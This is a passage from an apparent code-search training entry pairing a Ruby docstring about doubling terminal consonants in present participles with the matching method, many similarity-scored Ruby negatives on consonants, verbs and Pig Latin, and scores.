#{@stem}st\",\n\t\t\t\"er,sie, es #{@stem}t\",\n\t\t\t\"wir #{@stem}en\",\n\t\t\t\"ihr #{@stem}t\",\n\t\t\t\"sie,Sie #{@stem}en\"]\n\t\telse\n\t\t\tputs \"Could not work with the verb: #{@infinitive}\"\n\t\tend\n\tend", "def double_consonants(str)\n repeater_chars = str.chars.map do |char| \n if char =~ /[a-z]/i && char =~ /[^aeiou]/i\n char * 2\n else\n char\n end\n end\n repeater_chars.join\nend", "def double_consonants(string)\n result_string = ''\n string.each_char do |char|\n if char =~ /[a-z&&[^aeiou]]/i\n result_string << char << char\n else\n result_string << char\n end\n end\n result_string\nend", "def double_consonants(string)\n double_con_string = []\n string.chars.each do |char|\n if char.match?(/[aeiouAEIOU]/)\n double_con_string << char\n elsif char.match?(/[a-zA-Z]/)\n double_con_string << char << char\n else\n double_con_string << char\n end\n end\n double_con_string.join\nend", "def double_consonants(str)\n str.gsub(/([bcdfghjklmnpqrstvwxyz])/i, '\\1\\1')\nend", "def double_consonants(string)\n result = ''\n string.chars.each do |char|\n result += char\n result += char if char =~ /[a-z]/i && char =~ /[^aeiou]/i\n end\n result\nend", "def noun; end", "def noun; end", "def double_consonants(string)\n result = string.split(//).map do |char|\n char =~ /[b-df-hj-np-tv-z]/i ? char * 2 : char\n end\n result.join\nend", "def simplification_rules_for_conjunction\n if is_formula_and_formula?\n copy @left_sentence\n update\n elsif is_formula_and_not_formula?\n @left_sentence, @right_sentence, @operator = nil,nil,nil\n update(Constant::VALUES[:bottom])\n elsif is_formula_and_up?\n if @left_sentence.is_constant?\n copy @right_sentence\n else\n copy @left_sentence\n end\n update\n elsif is_formula_and_bottom?\n @left_sentence, @right_sentence, @operator = nil,nil,nil\n update(Constant::VALUES[:bottom])\n end\n end", "def consonants(text)\n percent = text.consonants.length / text.length.to_f\n percent * @emphasis[:consonants]\n end", "def consonants_adv(str)\r\n str = vowel_adv(str)\r\n consonants = [\"b\", \"c\", \"d\", \"f\", \"g\", \"h\", \"j\", \"k\", \"l\", \"m\", \"n\", \"p\", \"q\", \"r\", \"s\", \"t\", \"v\", \"w\", \"x\", \"y\", \"z\"]\r\n str = str.downcase\r\n str = str.split('')\r\n str_new = str.map do |char|\r\n if consonants.include?(char)\r\n consonants.rotate(1)[consonants.index(char)]\r\n else\r\n char\r\n end\r\n end\r\n str_new.join\r\nend", "def present_third_person_singular_form_for(verb)\n infinitive = verb.is_a?(Verb) ? verb.infinitive.to_s : verb.to_s\n\n case infinitive\n when /[a-z&&#{CONSONANT_PATTERN}]y$/i\n \"#{infinitive[0..-2]}ies\"\n when /(ss|sh|t?ch|zz|x|#{CONSONANT_PATTERN}o)$/i\n \"#{infinitive}es\"\n when /[^s]s$/i\n \"#{infinitive}ses\"\n else\n \"#{infinitive}s\"\n end\n end", "def consonant_changer(name)\n consonant_guide = [\"b\", \"c\", \"d\", \"f\", \"g\", \"h\", \"j\", \"k\", \"l\", \"m\", \"n\", \"p\", \"q\", \"r\", \"s\", \"t\", \"v\", \"w\", \"x\", \"y\", \"z\"]\n name.map! do |chars|\n counter = 0\n while counter < consonant_guide.length\n if chars == consonant_guide[counter]\n chars = consonant_guide[counter += 1]\n counter += 1\n elsif chars == \"z\"\n chars = \"b\"\n counter += 1\n else\n chars\n counter += 1\n end\n end\n chars\n end\n name\n name.join('').capitalize!\nend", "def consonant_rep(array_of_char)\n array_of_char.map! do | char |\n consonants = ['b', 'c', 'd', 'f', 'g', 'h', 'j', 'k', 'l', 'm', 'n', 'p', 'q', 'r', 's', 't', 'v', 'w', 'x', 'y', 'z']\n if consonants.include? char\n consonant_index = ['b', 'c', 'd', 'f', 'g', 'h', 'j', 'k', 'l', 'm', 'n', 'p', 'q', 'r', 's', 't', 'v', 'w', 'x', 'y', 'z', 'b']\n i = consonant_index.index(char) + 1\n char = consonant_index[i] \n else char = char\n end\n end\n array_of_char\nend", "def verb; end", "def verb; end", "def verb; end", "def verb; end", "def verb; end", "def double_consonants(string)\n result = []\n string.each_char do |char|\n result << char_value(char)\n end\n p result.join\nend", "def regular_ending(verb)\n verb[-2..-1]\n end", "def double_consonants(string)\n chars_array = string.chars.map do |x|\n if x =~ /[^AEIOUaeiou0-9\\W]/\n x*2\n else\n x\n end\n end\n \n chars_array.join\nend", "def double_consonants(string)\n string.chars.map { |chr| chr.match(/[bcdfghj-np-tvwxyz]/i) ? chr * 2 : chr }.join\nend", "def double_consonants(string)\n results = []\n\n string.chars.each do |char|\n if char =~ /[\"AEIOUaeiou\"]/ || \n char =~ /\\W/ ||\n char =~ /\\d/\n results << char\n else\n results << char << char\n end\n end\n\n results.join\nend", "def ingverb; end", "def simplification_rules_for_negation\n if is_double_negation?\n copy @right_sentence.right_sentence\n update\n elsif is_not_bottom?\n update(Constant::VALUES[:up])\n elsif is_not_up?\n update(Constant::VALUES[:bottom])\n end\n end", "def next_consonant (consonant)\n consonant_downcase = consonant.downcase\n index = CONSONANTS.index(consonant_downcase)\n\n # handle edge case for letter 'z'\n if consonant_downcase == \"z\"\n next_consonant = CONSONANTS[0]\n else\n next_consonant = CONSONANTS[index + 1]\n end\n #Capitalize next letter if the original letter is upper case\n next_consonant = capitalize(consonant, next_consonant)\nend", "def initial_consonants\n \n @@sentence.map { |word|\n if word.start_with?('a','e','i','o','u','A','E','I','O','U') \n \"\" \n else \n consonant_blend = word.split /([aeiou].*)/\n consonant_blend[0]\n\n end\n }\n end", "def vowel_consonant_adv(str)\r\n \t\tvowels = [\"a\", \"e\", \"i\", \"o\", \"u\"]\r\n \t\tstr = str.split('')\r\n \t\tstr_new = str.map do |letter|\r\n if vowels.include?(letter)\r\n \tvowels.rotate(1)[vowels.index(letter)]\r\n else\r\n \tletter.next\r\n end\r\n \tend\r\n \t\tstr_new.join\r\n\tend", "def simplification_rules_for_disjunction\n if is_formula_or_formula?\n copy @left_sentence\n update\n elsif is_formula_or_not_formula?\n @left_sentence, @right_sentence, @operator = nil,nil,nil\n update(Constant::VALUES[:up])\n elsif is_formula_or_up?\n @left_sentence, @right_sentence, @operator = nil,nil,nil\n update(Constant::VALUES[:up])\n elsif is_formula_or_bottom?\n if @left_sentence.is_constant?\n copy @right_sentence\n else\n copy @left_sentence\n end\n update\n end\n end", "def next_consonant(name)\n\tconsonants = %w( b c d f g h j k l m n p q r s t v x y z)\n\t\tname = name.downcase.split('')\n\t\tnew_name = name.map do |con|\n\t\tif consonants.include?(con)\n\t\t\tconsonants.rotate(1)[consonants.index(con)]\n\t\telsif consonants == 'z'\n\t\t\tconsonants.replace('b')\n\t\telse\n\t\t\tcon\n\t\tend\n\tend\n\tnew_name.join.capitalize\nend", "def vowel_or_consonant\n puts \"What is your first name?\"\n #request first name\n first_name = gets.chomp.downcase\n #save user input, remove capitalization\n puts \"What is your last name?\"\n #request for users last name\n last_name = gets.chomp.downcase\n #save user input, remove capitalization\n #method to check for letter type\n vowels_first = first_name.gsub(/[aeiou]/,'a'=>'e','e'=>'i','i'=>'o','o'=>'u','u'=>'a')\n #check first name for vowels, replaces with next vowel\n vowels_last = last_name.gsub(/[aeiou]/,'a'=>'e','e'=>'i','i'=>'o','o'=>'u','u'=>'a')\n consonant_first = vowels_first.gsub(/[bcdfghjklmnpqrstvwxyz]/, 'b'=>'c', 'c'=>'d', 'd'=>'f', 'f'=>'g', 'g'=>'h', 'h'=>'j', 'j'=> 'k', 'k'=>'l', 'l'=>'m', 'm'=>'n', 'n'=>'p', 'p'=>'q', 'q'=>'r', 'r'=>'s', 's'=>'t', 't'=>'v', 'v'=>'w', 'w'=>'x', 'x'=>'y', 'y'=>'z', 'z'=>'b')\n consonant_last = vowels_last.gsub(/[bcdfghjklmnpqrstvwxyz]/, 'b'=>'c', 'c'=>'d', 'd'=>'f', 'f'=>'g', 'g'=>'h', 'h'=>'j', 'j'=> 'k', 'k'=>'l', 'l'=>'m', 'm'=>'n', 'n'=>'p', 'p'=>'q', 'q'=>'r', 'r'=>'s', 's'=>'t', 't'=>'v', 'v'=>'w', 'w'=>'x', 'x'=>'y', 'y'=>'z', 'z'=>'b')\n spy_name = \"#{consonant_last.capitalize} #{consonant_first.capitalize}\"\n #declares spy name\n puts \"The name #{first_name.capitalize} #{last_name.capitalize} turns into #{spy_name}\"\n #displays product of method\nend", "def plural_verb( count=2 )\n\t\tphrase = self.to_s\n\t\tmd = /\\A(\\s*)(.+?)(\\s*)\\Z/.match( phrase )\n\t\tpre, word, post = md.captures\n\n\t\treturn phrase if word.nil? or word.empty?\n\n\t\tplural = postprocess( word,\n\t\t\tpluralize_special_verb(word, count) ||\n\t\t\tpluralize_general_verb(word, count) )\n\n\t\treturn pre + plural + post\n\tend", "def count_consonants(str)\n str.chars.map do |letter|\n if consonant? letter\n letter = 1\n else\n letter = 0\n end\n end.reduce(0, :+)\nend", "def new_simplification_rules_for_conjunction\n end", "def translateForOneWord(msg)\n aryChar = msg.split(\"\")\n if aryChar[0].match(/a|e|i|o|u/)\n aryChar << \"ay\"\n elsif (not aryChar[0].match(/a|e|i|o|u/)) && aryChar[1] == \"q\" && aryChar[2] == \"u\" # consonant + q and u\n aryChar << aryChar[0]\n aryChar << aryChar[1]\n aryChar << aryChar[2]\n aryChar.shift #this will remove the first character\n aryChar.shift #this will remove the first character\n aryChar.shift #this will remove the first character\n aryChar << \"ay\"\n elsif aryChar[0] == \"q\" && aryChar[1] == \"u\" # q and u\n aryChar << aryChar[0]\n aryChar << aryChar[1]\n aryChar.shift #this will remove the first character\n aryChar.shift #this will remove the first character\n aryChar << \"ay\"\n elsif (not aryChar[0].match(/a|e|i|o|u/)) && (not aryChar[1].match(/a|e|i|o|u/)) && (not aryChar[2].match(/a|e|i|o|u/)) # if 3 consonants\n aryChar << aryChar[0]\n aryChar << aryChar[1]\n aryChar << aryChar[2]\n aryChar.shift #this will remove the first character\n aryChar.shift #this will remove the first character\n aryChar.shift #this will remove the first character\n aryChar << \"ay\"\n elsif (not aryChar[0].match(/a|e|i|o|u/)) && (not aryChar[1].match(/a|e|i|o|u/)) #if it starts with 2 consonants\n aryChar << aryChar[0]\n aryChar << aryChar[1]\n aryChar.shift #this will remove the first character\n aryChar.shift #this will remove the first character\n aryChar << \"ay\"\n\n elsif not aryChar[0].match(/a|e|i|o|u/)\n aryChar << aryChar[0]\n aryChar.shift #this will remove the first character\n aryChar << \"ay\"\n end\n aryChar.join(\"\")\nend", "def http_with_tingyun( verb )\n self._ty_http_verb = verb.to_s.upcase\n http_without_tingyun( verb )\n end", "def consonant_changer(letter)\r\n\tif letter == \"z\"\r\n\t\tnew_letter = \"b\"\r\n\telsif letter == \" \"\r\n\t \tnew_letter = \" \"\r\n\telse\r\n\t\tconsonant_index = \"bcdfghjklmnpqrstvwxyz\".index(letter)\r\n \tnew_letter =\"bcdfghjklmnpqrstvwxyz\"[consonant_index.next]\r\n\tend\r\nend", "def consonant_checker(array)\n consonant_guide = [\"b\", \"c\", \"d\", \"f\", \"g\", \"h\", \"j\", \"k\", \"l\", \"m\", \"n\", \"p\", \"q\", \"r\", \"s\", \"t\", \"v\", \"w\", \"x\", \"y\", \"z\"]\n array.map! do |name|\n name_split = name.split('')\n name_split.map! do |char|\n index = 0\n while index < consonant_guide.length\n if char == consonant_guide[index]\n char = consonant_guide[index += 1]\n index += 1\n elsif char == \"z\"\n char = \"b\"\n index += 1\n else\n char\n index += 1\n end\n char\n end\n char\n end\n name_split\n name_join = name_split.join('').capitalize!\n name_join\n end\n p array\nend", "def next_consonant(product)\n spot = 0 \n consonants = \"bcdfghjklmnpqrstvwxyz\"\n while spot < product.length\n if product[spot] == \"z\"\n product[spot] = \"b\"\n elsif consonants.split('').include?(product[spot])\n next_spot = consonants.index(product[spot]) + 1 \n product[spot] = consonants[next_spot]\n end\n spot += 1 \n end\n product\nend", "def consonant_changer(name)\n consonant_string = \"bcdfghjklmnpqrstvwxyz\"\n name_array = name.downcase.chars\n new_name = []\n name_array.each do |character|\n if character == \"z\"\n character = \"b\"\n new_name << character\n elsif consonant_string.include? character\n character = consonant_string[consonant_string.index(character) +1]\n new_name << character\n else\n new_name << character\n end\n end\n p new_name.join(\"\").split(\" \").each {|word| word.capitalize!}.join(\" \")\nend", "def define_verb(verb)\n @mod.define_singleton_method(verb.to_sym) do |*args, &block|\n class_eval \"Croesus.#{verb}\"\n end\n end", "def translate_word(word)\n first_letter = word[0].downcase\n \n if word[0..1] == \"qu\"\n return word[2..-1] + word[0..1] + \"ay\"\n end\n if word[0] == \"s\" && word[1..2] == \"qu\"\n \n return word[3..-1] + word[0] + word[1..2] + \"ay\"\n end\n\n if [\"a\", \"e\", \"i\", \"o\", \"u\"].include?(first_letter)\n #translate word that starts with vowel\n \"#{word}ay\"\n else\n #translate word that starts with consonant(s)\n consonants = []\n consonants << word[0]\n\n if[\"a\", \"e\", \"i\", \"o\", \"u\"].include?(word[1]) == false\n consonants << word[1]\n\n if[\"a\", \"e\", \"i\", \"o\", \"u\"].include?(word[2]) == false\n consonants << word[2]\n\n end\n\n end\n \"#{word[consonants.length..-1] + consonants.join + \"ay\"}\"\n end\nend", "def stem_porter\n\n # make a copy of the given object and convert it to a string.\n w = self.dup.to_str\n \n return w if w.length < 3\n \n # now map initial y to Y so that the patterns never treat it as vowel\n w[0] = 'Y' if w[0] == ?y\n \n # Step 1a\n if w =~ /(ss|i)es$/\n w = $` + $1\n elsif w =~ /([^s])s$/ \n w = $` + $1\n end\n\n # Step 1b\n if w =~ /eed$/\n w.chop! if $` =~ MGR0 \n elsif w =~ /(ed|ing)$/\n stem = $`\n if stem =~ VOWEL_IN_STEM \n w = stem\n\tcase w\n when /(at|bl|iz)$/ then w << \"e\"\n when /([^aeiouylsz])\\1$/ then w.chop!\n when /^#{CC}#{V}[^aeiouwxy]$/o then w << \"e\"\n end\n end\n end\n\n if w =~ /y$/ \n stem = $`\n w = stem + \"i\" if stem =~ VOWEL_IN_STEM \n end\n\n # Step 2\n if w =~ SUFFIX_1_REGEXP\n stem = $`\n suffix = $1\n # print \"stem= \" + stem + \"\\n\" + \"suffix=\" + suffix + \"\\n\"\n if stem =~ MGR0\n w = stem + STEP_2_LIST[suffix]\n end\n end\n\n # Step 3\n if w =~ /(icate|ative|alize|iciti|ical|ful|ness)$/\n stem = $`\n suffix = $1\n if stem =~ MGR0\n w = stem + STEP_3_LIST[suffix]\n end\n end\n\n # Step 4\n if w =~ SUFFIX_2_REGEXP\n stem = $`\n if stem =~ MGR1\n w = stem\n end\n elsif w =~ /(s|t)(ion)$/\n stem = $` + $1\n if stem =~ MGR1\n w = stem\n end\n end\n\n # Step 5\n if w =~ /e$/ \n stem = $`\n if (stem =~ MGR1) ||\n (stem =~ MEQ1 && stem !~ /^#{CC}#{V}[^aeiouwxy]$/o)\n w = stem\n end\n end\n\n if w =~ /ll$/ && w =~ MGR1\n w.chop!\n end\n\n # and turn initial Y back to y\n w[0] = 'y' if w[0] == ?Y\n\n w\n end", "def pluralize_special_verb( word, count )\n\t\tself.log.debug \"Trying to pluralize %p as a special verb...\" % [ word ]\n\t\tcount ||= 1\n\t\tcount = normalize_count( count )\n\n\t\tif /^(#{PL_count_one})$/i =~ count.to_s\n\t\t\tself.log.debug \" it's a single-count word, returning it unchanged.\"\n\t\t\treturn word # :FIXME: should this return nil instead?\n\t\t\t# return nil\n\t\tend\n\n\t\t# Handle user-defined verbs\n\t\t#if value = ud_match( word, PL_v_user_defined )\n\t\t#\treturn value\n\t\t#end\n\n\t\tcase word\n\n\t\t# Handle irregular present tense (simple and compound)\n\t\twhen /^(#{PL_v_irregular_pres})((\\s.*)?)$/i\n\t\t\tkey = $1.downcase\n\t\t\tself.log.debug \" yep, it's an irregular present tense verb (%p)\" % [ key ]\n\t\t\treturn PL_v_irregular_pres_h[ $1.downcase ] + $2\n\n\t\t# Handle irregular future, preterite and perfect tenses\n\t\twhen /^(#{PL_v_irregular_non_pres})((\\s.*)?)$/i\n\t\t\tself.log.debug \" yep, it's an irregular non-present tense verb (%p)\" % [ key ]\n\t\t\treturn word\n\n\t\t# Handle special cases\n\t\twhen /^(#{PL_v_special_s})$/\n\t\t\tself.log.debug \" it's a not special-case verb; aborting.\"\n\t\t\treturn nil\n\n\t\t# Handle standard 3rd person (chop the ...(e)s off single words)\n\t\twhen /^(.*)([cs]h|[x]|zz|ss)es$/i\n\t\t\tbase, suffix = $1, $2\n\t\t\tself.log.debug \" it's a standard third-person verb (%p + %p)\" % [ base, suffix ]\n\t\t\treturn base + suffix\n\t\twhen /^(..+)ies$/i\n\t\t\tverb = $1\n\t\t\tself.log.debug \" it's a standard third-person verb (%p + ies -> +y)\" % [ verb ]\n\t\t\treturn \"#{verb}y\"\n\t\twhen /^(.+)oes$/i\n\t\t\tverb = $1\n\t\t\tself.log.debug \" it's a standard third-person verb (%p + oes -> +o)\" % [ verb ]\n\t\t\treturn \"#{verb}o\"\n\t\twhen /^(.*[^s])s$/i\n\t\t\tverb = $1\n\t\t\tself.log.debug \" it's a standard third-person verb (%p + (^s)s -> -s)\" % [ verb ]\n\t\t\treturn verb\n\n\t\t# Otherwise, a regular verb (handle elsewhere)\n\t\telse\n\t\t\tself.log.debug \" nope. Either a regular verb or not a verb.\"\n\t\t\treturn nil\n\t\tend\n\tend", "def consonant(letter)\n\talphabet = \"bcdfghjklmnpqrstvwxyz\"\n\talphabet2 = alphabet.chars.rotate.join('')\n\teach_id = alphabet.index(letter.downcase)\n\tnext_consonant = alphabet2[each_id]\nend", "def consonant(letter)\n\talphabet = \"bcdfghjklmnpqrstvwxyz\"\n\talphabet2 = alphabet.chars.rotate.join('')\n\teach_id = alphabet.index(letter.downcase)\n\tnext_consonant = alphabet2[each_id]\nend", "def const_adv(str)\n consonants = [\"b\",\"c\",\"d\",\"f\",\"g\",\"h\",\"j\",\"k\",\"l\",\"m\",\"n\",\"p\",\"q\",\"r\",\"s\",\"t\",\"v\",\"w\",\"x\",\"y\",\"z\"]\n str = str.split('')\n str_new = str.map do |char|\n if consonants.include?(char)\n consonants.rotate(1)[consonants.index(char)]\n else\n char\n end\n end\n str_new.join\nend", "def translate(word)\r\n vowels = \"aeio\".split('').to_a\r\n consonant = \"bcdfghjklmnpqrstuvwxyz\".split('').to_a \r\n answer = []\r\n \r\n while word.split(' ').length == 1 \r\n words = word.split('')\r\n until vowels.include?(words[0])\r\n words = words.rotate(1)\r\n end\r\n words << \"ay\"\r\n return words.join('')\r\n end # one word ^^\r\n \r\n if word.split(' ').length > 1 \r\n words = word.split(' ')\r\n end \r\n words.each do |i|\r\n if vowels.include?(i[0])\r\n i << \"ay\"\r\n answer << i\r\n #return answer\r\n end\r\n end\r\n \r\n words.each do |j|\r\n if consonant.include?(j[0])\r\n j = j.split('').rotate(1).join('') until vowels.include?(j[0])\r\n j = j + \"ay\"\r\n #return j\r\n #j << j #correct format for 1 consonant but it doesnt add to array\r\n answer << j\r\n end\r\n end\r\n \r\n return answer.join(' ')\r\n end", "def indefinite_reflexive_pronoun\n return \"itself\"\n end", "def translate_three_consonants( s )\n\n\t\t\t\t# store the letters in an array\n\t\t\t\tch_array = s.chars\n\n\t\t\t\t# then grab the first letter from the array\n\t\t\t\tfirst_letter = ch_array.shift\n\n\t\t\t\t# then grab the second letter from the array\n\t\t\t\tsecond_letter = ch_array.shift\n\n\t\t\t\t# then grab the third letter from the array\n\t\t\t\tthird_letter = ch_array.shift\n\n\t\t\t\t# put both letters at the back with push and add 'ay'\n\t\t\t\tch_array << first_letter + second_letter + third_letter + \"ay\"\n\n\t\t\t\t# bring it back together\n\t\t\t ch_array.join\n\n\tend", "def next_consonant(char)\n char = char.downcase\n compare = \"bcdfghjklmnpqrstvwxyz\"\n\n # not a consonant, i.e., no instance of the variable\n if compare.count(char) == 0\n # puts \"Not a consonant\"\n return nil\n end\n\n consonant_index = compare.index(char)\n\n if consonant_index == compare.length - 1 # end edge case\n return 'b'\n else\n return compare[consonant_index + 1]\n end\nend", "def next_consonant(string)\n\tconsonants = \"bcdfghjklmnpqrstvwxyz\"\n\t#set index of string \n\tindex = 0\n\t#set index of vowels\n\ti = 0\n\t#create an empty string\n\tconverted_string = \"\"\n\t#for each index of the string, checks if equal to corresponding consonant and if so goes to the next consonant by adding one to the index\n\twhile index < string.length\n\t\t#start with if string has \"z\", converts to \"b\"\n\t\tif string[index] == consonants[20]\n\t\t\tconverted_string += \"b\"\n\t\t#if the string has any consonant besides \"z\"\n\t\telsif string[index] == consonants[i]\n\t\t\tconverted_string += consonants[i+1]\n\t\t#if string has vowels doesnt change character\n\t\telse \n\t\t\tconverted_string += string[index]\n\t\tend\n\t\t#go to next index in string\n\t\tindex += 1\n\t\t#reset vowel index to zero\n\t\ti += 1\n\tend\n\tconverted_string\nend", "def consonant(letter)\n alphabet = \"bcdfghjklmnpqrstvwxyz\"\n alphabet2 = alphabet.chars.rotate.join('')\n each_id = alphabet.index(letter.downcase)\n next_consonant = alphabet2[each_id]\n end", "def conj?\n words.any? { |wor| wor.pos == 'CONJ' }\n end", "def test_complex_pronouns\n\t\tassert_equal(\"yes, i rule\", WordPlay.switch_pronouns(\"yes, you rule\"))\n\t\tassert_equal(\"why do i cry\", WordPlay.switch_pronouns(\"why do you cry\"))\n\tend", "def dynamic_phrase_2\r\n # Verse 0: **no more bottles**\r\n if zero_bottles?\r\n \"no more #{bottle_s}\"\r\n else\r\n # Verse 1: **1 bottle**\r\n # Verse x: **x bottles**\r\n \"#{bottle_quantity} #{bottle_s}\"\r\n end\r\n end", "def consonant_advance(letter)\r\nconsonant = \"abcdefghijklmnopqrstuvwxyz\".delete(\"aeiou\")\r\n if letter == \"z\"\r\n letter = \"b\"\r\n else\r\n letter = consonant[consonant.index(letter) +1]\r\n end \r\nend", "def verb\n words.find { |wor| wor.pos == 'VERB' }\n end" ]
[ "0.65740854", "0.64425373", "0.64022726", "0.62513596", "0.614279", "0.60967696", "0.6093948", "0.59111714", "0.5892954", "0.5832512", "0.5821658", "0.5784825", "0.5760285", "0.5752394", "0.5713888", "0.57036954", "0.5686028", "0.5668624", "0.56383115", "0.5635191", "0.5632572", "0.55907774", "0.5565672", "0.55344933", "0.55244106", "0.5492658", "0.54894125", "0.548794", "0.5485857", "0.54615074", "0.54524684", "0.5404689", "0.5396932", "0.53679854", "0.5349082", "0.5348376", "0.5342807", "0.5332256", "0.5331878", "0.5322873", "0.53180385", "0.53178686", "0.5308993", "0.53060216", "0.52960277", "0.52842826", "0.5269068", "0.5269068", "0.526703", "0.5265732", "0.52554923", "0.5246438", "0.52266204", "0.5201873", "0.5167005", "0.51517045", "0.51517045", "0.51517045", "0.51517045", "0.51517045", "0.5141566", "0.5136059", "0.51061636", "0.50854903", "0.5060775", "0.506002", "0.5057857", "0.5037546", "0.50205", "0.4995167", "0.4990125", "0.49670115", "0.4962756", "0.49529842", "0.49503976", "0.49484187", "0.4947858", "0.4932872", "0.49301663", "0.49203482", "0.4886228", "0.48708364", "0.48683584", "0.48503584", "0.4847843", "0.48395592", "0.48266524", "0.48266524", "0.48109296", "0.48039448", "0.4795841", "0.47827348", "0.4775465", "0.47714567", "0.4771343", "0.47696966", "0.47676355", "0.47626048", "0.4760317", "0.4756501" ]
0.6933846
0
Apply proper rules to consonant endings Params: verb, apply double consonant to this
def present_participle_with_doubled_terminal_consonant_for(verb) if /c$/ =~ verb.to_s present_participle verb.to_sym else present_participle verb.to_s.concat(verb.to_s[-1, 1]).to_sym end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def regular_preterite_with_doubled_terminal_consonant_for(verb)\n regular_preterite_for verb.to_s.concat(verb.to_s[-1, 1]).to_sym\n end", "def regular_preterite_for(verb)\n infinitive = verb.is_a?(Verb) ? verb.infinitive.to_s : verb.to_s\n\n if verb.to_s.match(/#{CONSONANT_PATTERN}#{VOWEL_PATTERN}#{DOUBLED_CONSONANT_WITHOUT_C_PATTERN}$/) &&\n !conjugations.single_terminal_consonants.include?(verb.to_sym)\n return regular_preterite_with_doubled_terminal_consonant_for verb\n end\n\n case verb.to_s\n when /(#{CONSONANT_PATTERN}e|ye|oe|nge|ie|ee|ue)$/\n infinitive.concat('d').to_sym\n when /#{CONSONANT_PATTERN}y$/\n infinitive.gsub(/y$/, 'ied').to_sym\n when /c$/\n infinitive.gsub(/c$/, 'cked').to_sym\n else\n infinitive.concat('ed').to_sym\n end\n end", "def conjugate_in_the_present_subjunctive(pronoun, verb)\n verb_ending, root = get_verb_ending_and_root(verb)\n if verb_ending == 'ar'\n root + %W[e es e emos éis en][pronoun_index(pronoun)]\n else # er and ir are the same\n root + %W[a as a amos áis an][pronoun_index(pronoun)]\n end\n end", "def single_terminal_consonant(infinitive)\n @single_terminal_consonants << infinitive\n end", "def consonant_cancel(sentence)\n words = sentence.split\n new_words = words.map { |word| remove_starting_consonants(word) }\n return new_words.join(\" \")\nend", "def consonants # :nodoc:\n /^(y|[bcdfghjklmnprstvwxz]+|qu)/\n end", "def consonant_cancel(sentence)\r\n newSentence = []\r\n sentence.split(\" \").each do |word|\r\n newWord = word\r\n while !('aeiou'.include?(newWord[0]))\r\n newWord = newWord[1..-1]\r\n end\r\n newSentence << newWord\r\n end\r\n return newSentence.join(\" \")\r\nend", "def consonant_cancel(sentence)\n\tarry = sentence.split(\" \")\n \tfinal = []\n \tvowel = \"aeiou\"\n \tarry.each do |word|\n len = word.length\n word.each_char.with_index do |char, i|\n if vowel.include?(char)\n final << word[i..-1]\n break\n end\n end\n end\n return final.join(\" \")\nend", "def consonant_cancel(sentence)\n\n arr = sentence.split(\" \").map do |word|\n removeConsonant(word)\n end\n return arr.join(\" \")\nend", "def consonant_cancel(sentence)\n \tnewSentence = \"\"\n\tsentence.split.each do |word|\n \t# puts word\n \tnewSentence = newSentence + \" \" + find_vowel(word)\n end\n \treturn newSentence\nend", "def get_regular(verb)\n case verb\n when /(ch|s|sh|x|z)$/\n return verb + 'es'\n when /(ay|ey|oy|uy)$/\n return verb + 's'\n when /[^aeiou]y$/\n return verb[ 0..-2 ] + 'ies'\n else\n return verb + 's'\n end\n end", "def double_consonants(string)\n doubled_string = ''\n string.chars.each do |char|\n doubled_string << char\n doubled_string << char if consonant?(char.downcase)\n end\n\n doubled_string\nend", "def translate_one_consonant( s )\n\n\t\t# store the letters in an array\n\t\tch_array = s.chars\n\n\t\t# then grab the first letter from the array\n\t\tfirst_letter = ch_array.shift\n\n\t\t# put that letter at the back with push and add 'ay'\n\t\tch_array << first_letter + \"ay\"\n\n\t\t# bring it back together\n\t\tch_array.join\n\n\tend", "def translate_two_consonants( s )\n\n\t\t\t\t# store the letters in an array\n\t\t\t\tch_array = s.chars\n\n\t\t\t\t# then grab the first letter from the array\n\t\t\t\tfirst_letter = ch_array.shift\n\n\t\t\t\t# then grab the second letter from the array\n\t\t\t\tsecond_letter = ch_array.shift\n\n\t\t\t\t# put both letters at the back with push and add 'ay'\n\t\t\t\tch_array << first_letter + second_letter + \"ay\"\n\n\t\t\t\t# bring it back together\n\t\t\t ch_array.join\n\n\tend", "def consonant_cancel(sentence)\n words = sentence.split(' ')\n new_words = words.map { |word| del_before_vowel(word) }\n return new_words.join(' ')\nend", "def double_consonants(string)\n string.gsub(/([b-df-hj-np-tv-z])/i, '\\1\\1')\nend", "def double_consonants(string)\n doubled_chars = string.chars.map do |char|\n if char =~ /[A-Za-z]/ && !VOWELS.include?(char)\n char + char\n else\n char\n end\n end\n doubled_chars.join\nend", "def double_consonants(str)\n new_str = ''\n str.each_char do |char|\n if char =~ /[-!aeiou0-9' ']/i\n new_str << char\n else\n new_str << char.concat(char)\n end\n end\n new_str\nend", "def double_consonants(str)\n str.gsub(/([a-z&&[^aeiou]])/i,'\\1\\1')\nend", "def consonant_cancel(sentence)\n result = []\n arr = sentence.split(\" \")\n\n arr.each do |i|\n cancelled = []\n i.each_char.with_index do |ch, idx|\n if ch == 'a' || ch == \"e\" || ch == \"i\" || ch == \"o\" || ch == \"u\"\n cancelled << i[idx..-1]\n break\n end\n end\n result << cancelled.join\n end\n\n return result.join(\" \")\n\nend", "def consonant_cancel(sentence)\n vowel = \"aeiou\"\n new_arr = []\n sentence.split(\" \").each do |word|\n word.each_char.with_index do |char, i|\n if vowel.include?(char)\n new_word = word[i..-1]\n new_arr << new_word\n break\n end\n end\n end\n new_arr.join(\" \")\nend", "def next_consonant (last_first)\n last_first.map! do |word|\n word.gsub(/[zdhntbcfgjklmpqrsvwxy]/, 'z' => 'b', 'd' => 'f', 'h' => 'j', 'n' => 'p', 't' => 'v', 'b' => 'c', 'c' => 'd', 'f' => 'g', 'g' => 'h', 'j' => 'k', 'k' => 'l', 'l' => 'm', 'm' => 'n', 'p' => 'q', 'q' => 'r', 'r' => 's', 's' => 't', 'v' => 'w', 'w' => 'x', 'x' => 'y', 'y' => 'z')\n end\nend", "def double_consonants(str)\n result = \"\"\n str.chars.each do |ch|\n result << if ch.downcase.match?(/[a-z&&[^aeiou]]/)\n ch * 2\n else\n ch\n end\n end\n result\nend", "def double_consonants(str)\n str.chars.each_with_object('') do |c, double_str|\n if c =~ /[^(aeiouAEIOU)|\\W|\\d]/\n double_str << c * 2\n else\n double_str << c\n end\n end\nend", "def consonant?\n self != 'ㅇ' && kor.chosung?(self)\n end", "def double_consonants(str)\n\n new_string = []\n\n str.chars.each do |char|\n if ('aeiouAEIOU').include?(char) == false\n new_string << char*2 \n else \n new_string << char\n end\n end\n\n new_string.join\nend", "def double_consonants(string)\n doubled_string = ''\n string.each_char do |char|\n char.match(/[a-z&&[^aeiou]]/i) ? doubled_string << char << char : doubled_string << char\n end\n doubled_string\nend", "def double_consonants(str)\n results = \"\"\n str.each_char do |char| \n if char.downcase =~ /[a-z&&[^aeiou]]/\n 